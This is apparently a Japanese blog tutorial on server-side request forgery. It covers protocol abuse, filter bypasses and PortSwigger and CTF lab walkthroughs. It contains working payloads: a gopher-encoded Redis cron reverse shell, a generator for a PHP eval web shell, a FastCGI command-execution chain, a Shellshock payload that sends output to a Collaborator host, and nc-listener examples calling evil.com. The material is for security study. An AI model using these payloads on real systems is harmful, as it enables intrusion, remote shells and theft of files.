banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

SSRF(サーバーサイドリクエストフォージェリ)基礎知識

概要#

多くの Web アプリケーションは、他のサーバーからデータを取得する機能を提供しています。この機能は通常「外部リソースの読み込み」と呼ばれます。ユーザーが指定した URL を使用することで、Web アプリケーションは画像の取得、ファイルのダウンロード、ファイル内容の読み取りなど、さまざまな操作を実行できます。しかし、この機能が悪用されると、攻撃者は欠陥のある Web アプリケーションをプロキシとして利用し、リモートおよびローカルのサーバーを攻撃することができます。この形式の攻撃は、サーバーサイドリクエストフォージェリ攻撃(Server-side Request Forgery、略して SSRF)と呼ばれます。

SSRF 攻撃では、攻撃者が特別なリクエストを構築することで、サーバー側から発信されるリクエストのターゲットを攻撃者自身が制御するシステムや内部システムにすることができます。一般的に、SSRF 攻撃のターゲットは、外部から直接アクセスできない内部システム(例えば、データベースや内部ネットワークインターフェースなど)であり、攻撃者はファイアウォールを回避してこれらの内部システムに直接アクセスできます。

SSRF 攻撃の発生は、サーバー側が他のサーバーからデータを取得する機能を提供しているが、ターゲットアドレスに対して十分なフィルタリングや制限を行っていないことが主な原因です。例えば、サーバー側は指定された URL からウェブページのテキストコンテンツを取得したり、指定されたアドレスの画像を読み込んだり、ファイルをダウンロードしたりすることを許可する場合があります。サーバー側がこれらの操作に対して適切なセキュリティ制御(例えば、URL が内部ネットワークを指しているかどうかの確認や、アクセス可能な URL の範囲の制限)を行っていない場合、攻撃者はこの機能を利用して SSRF 攻撃を行う可能性があります。

タイプ#

  • 基本(エコー)
  • 非エコー

利用プロセス#

外部にネットワークリクエストを発信できる場所では、SSRF が存在する可能性があります。以下は 127.0.0.1 の自身の 8080 ポートにリクエストを発信した例で、関連する内容が返されており、SSRF の脆弱性が存在することを示しています。

image

リクエストパケットは以下の通りです:

POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=127.0.0.1%3A8000

ローカルファイルを読み取ろうとする(Windows)

file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts

image

image

Linux 環境の場合、以下のファイルを読み取ります:

file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces

ケース 1

GET リクエスト

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

ケース 2

POST リクエスト

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

利用方法#

脆弱性の一般的な利用方法#

  • 内部ネットワークポートスキャン
    • DICT、HTTP プロトコルを利用して内部ネットワークのポートの開放状況を探ることができます
    • burp suite によるブルートフォース
    • 一般的なポート(80、8080、3306、6379 など)をブルートフォース
    • image
  • ディレクトリスキャン
    • burp suite によるブルートフォース
  • SQL インジェクション
    • エンコーディング形式、二重 URL エンコーディング
  • コマンド実行
    • エンコーディング形式、二重 URL エンコーディング
    • gopher プロトコル
    • url:gopher://[host]:[port]/ 二重 URL エンコーディングされた tcp データストリーム
  • CVE-2017-12615
    • tomcat の put メソッドでファイルを書き込む
  • Redis の未認証アクセス脆弱性(認証なし)
    • DICT プロトコル(dict://x.x.x.x:6379/<Redis コマンド>)
  • ssrf-xss

脆弱性の複雑な利用方法#

ブラインド SSRF 利用#

応答の状態と応答時間に基づいてポートが開いているかどうかを判断します。

以下は一例の表です:

image

アウトオブバンド技術を使用してブラインド SSRF を利用します。

さまざまな利用プロトコル

file:///  
dict://  
sftp://  
ldap://  
tftp://  
gopher://

dict プロトコル#

サーバーが外部サイトやホワイトリスト内の HTTP リクエストを禁止している場合、dict プロトコルを使用できます。

dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)  
CLIENT libcurl 7.40.0

gopher プロトコル#

gopher プロトコルは GET、POST リクエストを発信することをサポートします。GET リクエストパケットと POST リクエストパケットをキャプチャし、gopher プロトコルに適合するリクエストを構成できます。

gopher プロトコルは SSRF 利用の中で最も強力なプロトコルです。

以下のケースでは、302 リダイレクトがリクエストを受け取ります。

http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php

<?php  
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');  
?>  
  
evil.com:# nc -lvp 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)  
Hi  
ssrf  
test

フォーマット

gopher://<host>:<port>/<gopher-path>_後接TCPデータストリーム

curl gopher://127.0.0.1:8000/_GET%20test

gopher のデフォルトポートは 70 です。

POST リクエストを発信する場合、改行は %0d%0a を使用する必要があります。複数のパラメータがある場合、パラメータ間の & も URL エンコーディングする必要があります。

GET リクエストを送信する

以下のペイロードを送信する場合:

GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1

次の形式に変換する必要があります。

curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

HTTP パケットの最後に %0d%0a を追加して、メッセージの終了を示します。

POST リクエストを送信する

POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=test

次の形式に変換する必要があります。

curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

SSRF における利用

http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc

# PHPはパラメータを受け取った後、URLのデコードを1回行うため、再度URLエンコーディングする必要があります
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

URL 内の/は二重エンコーディングできず、ポート番号も二重エンコーディングできず、プロトコル名も二重エンコーディングできません。

gopher プロトコルを利用して Redis でシェルを反響させる

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

s/ftp プロトコル#

sftp プロトコルは SSH ファイル転送プロトコルの略で、安全な転送プロトコルです。

http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)  
SSH-2.0-libssh2_1.4.2

tftp#

ファイル転送プロトコル

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
  
evil.com:# nc -lvup 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
TESTUDPPACKEToctettsize0blksize512timeout3

file プロトコル#

file プロトコルはファイルシステム内の機密ファイルを読み取るために使用されます。

http://example.com/ssrf.php?url=file:///etc/passwd  
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

ldap/s/i#

LDAP は軽量ディレクトリアクセスプロトコルを表します。これは、IP ネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするためのアプリケーションプロトコルです。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

pdf ssrf#

場合によっては、サーバーがアップロードされたファイルを PDF ファイルに変換することがあります。

<iframe>, <img>, <base>または<script>タグ、CSS url () を使用して内部サービスをリクエストし、機密ファイルを読み取ろうとします。

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

avi#

fastcgi プロトコル#

title:ctfhub靶场
  • まずサーバー上でリスニングします。
nc -lvnp 9000 > 1.txt
  • クライアントは Python スクリプトを使用して 9000 ポートに接続します。
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
  • 生成された txt ファイルを次の Python スクリプトで二重エンコーディングします。
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

image

ペイロードを脆弱性パラメータに配置します。

image

ファイル名がわかったら、cat コマンドを使用してフラグの内容を確認します。

python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php

前の手順と同様です。

利用ケース#

ポートスキャン#

SSRF は DICT プロトコルと組み合わせて内部ネットワークのポートの開放状況を探ることができ、TCP エコーのポートのみを探ることができます。

image

redis#

curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

ツール#

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上記のツールは再度 URL エンコーディングする必要があります。

[[ctfhub-skilltree.md# 二次编码脚本 | url 二重エンコーディングスクリプト]]

redis にシェルを書き込む

import urllib
protocol="gopher://"
ip="192.168.134.132" //IPアドレス
port="6379" //ポート
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//書き込む内容はワンライナーのマルウェア
filename="1.php" //ファイル名は1.php
path="/var/www/html"//デフォルトパス
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

ケース#

[[ctfhub-skilltree.md#redis|ssrf による redis へのシェル書き込みシナリオ]]

バイパス技術#

fuzz 辞書#

  • web 脆弱性 ->ssrfDicts

ホワイトリスト#

1、指定された IP またはドメイン名が指定されたリソースにアクセスできるようにします。

ホワイトリストは:abc.com

直接読み取ることはできません。

http://example.com/ssrf.php?url=https://google.com 

ホワイトリストドメイン内でオープンリダイレクト脆弱性を見つけ、オープンリダイレクト脆弱性を利用する必要があります。

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com

2、サブドメイン

ホワイトリストは:*.abc.com

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com 

ブラックリスト#

  • IP を以下の回避可能な IP に変更
  • フィルタリングされた文字をエンコード
  • またはドメインを使用して localhost を指す

特殊 IP#

http://0177.1/   # 十進法 http://127.0.0.1
http://0x7f.1/   # 十六進法 http://127.0.0.1
http://127.000.000.1
https://520968996

エラー IP#

http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/

ipv6#

http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·

その他のプロトコル#

gopher://
dict://
php://
jar://
tftp://

DNS 欺騙#

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

xip.io#

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

エンコーディングバイパス#

これには、16 進数エンコーディング、8 進数エンコーディング、ダブルワードエンコーディング、URL エンコーディング、混合エンコーディングが含まれます。

127.0.0.1は0x7f.0x0.0x0.0x1に変換されます
127.0.0.1は0177.0.0.01に変換されます
http://127.0.0.1はhttp://2130706433に変換されます
localhostは%6c%6f%63%61%6c%68%6f%73%74に変換されます

ホワイトリスト#

  • URL の前に認証を追加し、@で分割し、ユーザー名を内部システムの IP に置き換え、他のパスを最後に追加します。
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/

image

  • 各 URL セグメントを #で分割することもできます。
https://evil-host#expected-host
  • DNS の命名構造を使用します。
https://expected-host.evil-host
  • 文字を URL エンコーディングして URL パーサーを混乱させます。

302 リダイレクト#

サーバーが多くのプロトコルをフィルタリングしている場合(たとえば、受信 URL に「http」または「https」のみを許可する場合)、自分のサーバーで 302 リダイレクトを作成し、Gopher プロトコルを利用して内部ネットワークの Redis を攻撃します。

image

SSRF ラボ#

ラボ:ローカルサーバーに対する基本的な SSRF#

パケットキャプチャ、正常なリクエスト

image

stockApi をhttp://localhost/admin に変更すると、直接未認証でバックパネルにアクセスできました。

image

ユーザーを削除するには、次のパラメータを入力します:stockApi=http://localhost/admin/delete?username=carlos

アカウントが正常に削除されました。

image

ラボ:別のバックエンドシステムに対する基本的な SSRF#

title:実験目標
ssrfを使用して内部ネットワークのポートスキャンを行い、192.168.0.Xネットワークセグメントの8080ポートを発見します。

同様に、在庫確認ページに移動します。

正常なリクエストは以下の通りです:

image

インストルーダーに送信します。

image

ペイロードを設定します。

image

応答サイズを確認することで、IP が 192.168.0.154 であることがわかります。

image

ユーザー carlos を削除し、削除が成功しました。

image

ブラックリストベースの入力フィルタによる SSRF#

内部ネットワーク URL を入力すると、ブロックされます。

image

ブラックリストを回避し、127.0.0.1 を 127.1 に変更し、admin もブロックされます。admin の a を二重エンコーディングし、二重エンコーディングは特殊文字のみに適用します。

image

carlos アカウントを削除します。

image

ホワイトリストベースの入力フィルタによる SSRF#

image

ホワイトリストは stock.weliketoshop.net へのアクセスのみを許可します。

image

http://[email protected]/ を入力して、埋め込み資格情報の URL を使用してバイパスできることを確認します。

image

username の後に #を追加すると、依然としてブロックされ、# を二重エンコーディングすると、ブロックされないことがわかります。

http://localhost%[email protected]/

image

その後、admin を追加し、上記の画像は正常にバイパスされます。

image

POST リクエストを送信して carlos アカウントを削除します。

stockApi=http://localhost%[email protected]/admin/delete?username=carlos

ラボ:オープンリダイレクト脆弱性を介したフィルターバイパスによる SSRF#

オープンリダイレクト脆弱性を利用して SSRF 脆弱性を実現し、ターゲットはhttp://192.168.0.12:8080/adminにアクセスし、ユーザーcarlosを削除します。

まず、オープンリダイレクト脆弱性を見つける必要があります。商品詳細ページのリンクリダイレクト部分で見つけることができます。

image

リンクは以下の通りです:

https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com

直接http://www.baidu.com にリダイレクトできます。

在庫確認のリクエストパケットをキャプチャします。

上記のパケットを送信すると、path パラメータが不足しているというメッセージが表示されます。

image

currentProductId を削除すれば大丈夫です。

image

ユーザーを削除します。

image

ブラインド SSRF によるアウトオブバンド検出#

脆弱性は referer にあります。

image

Burp Collaborator クライアントを開き、ドメインをコピーします。

image

それを referer にコピーしてリクエストを送信すると、Burp Collaborator クライアントが送信されたリクエストを受信しました。

image

ラボ:Shellshock を利用したブラインド SSRF#

1、実験を実現するには、まず「Collaborator Everywhere」プラグインをインストールする必要があります。これは Burp のストアに自動的に含まれていますので、インストールしてください。

2、被害者のウェブサイトにアクセスし、パケットをキャプチャし、右クリックして「Add to scope」に追加します。

image

3、その後、ウェブサイトをブラウズし続けると、「Collaborator Everywhere」プラグインがリクエストを送信し始め、関連する応答を確認できます。これにより、ここに SSRF 脆弱性が存在することがわかります。

image

4、具体的なリクエストは以下の通りです。

image

他のリクエストも追加されました。

image

インストルーダーモジュールに送信し、ブルートフォースを行います。User-Agent を次のペイロードに設定し、referer をブルートフォースする必要がある内部ネットワークサーバーのセグメントに設定します。

() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net

image

ブルートフォースのパラメータを設定します。

image

スレッドを 1 に設定します。

image

ブルートフォースを開始し、Burp Collaborator クライアントがリクエストを受信したかどうかを確認します。

image

上記のように、サーバーのユーザー名を取得しました。

脆弱性の危害#

SSRF は外部ネットワーク、サーバーが存在する内部ネットワーク、ローカルのポートスキャンを行い、内部またはローカルで実行されているアプリケーションを攻撃したり、File プロトコルを利用してローカルファイルを読み取ったりすることができます。

内部ネットワークサービスの防御は、外部ネットワークサービスに比べて一般的に弱く、場合によっては一部の内部ネットワークサービスは運用の便宜上、内部ネットワークへのアクセスに対して権限検証を行っていないため、SSRF が存在する場合、通常は大きな危害をもたらします。

防御方法#

  • 返される情報をフィルタリングする
  • 統一されたエラーメッセージ
  • リクエストポートを制限する
  • 使用されていないプロトコルを禁止する
  • DNS リバインディングに対して、DNS キャッシュまたはホワイトリストを考慮する

その他#

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。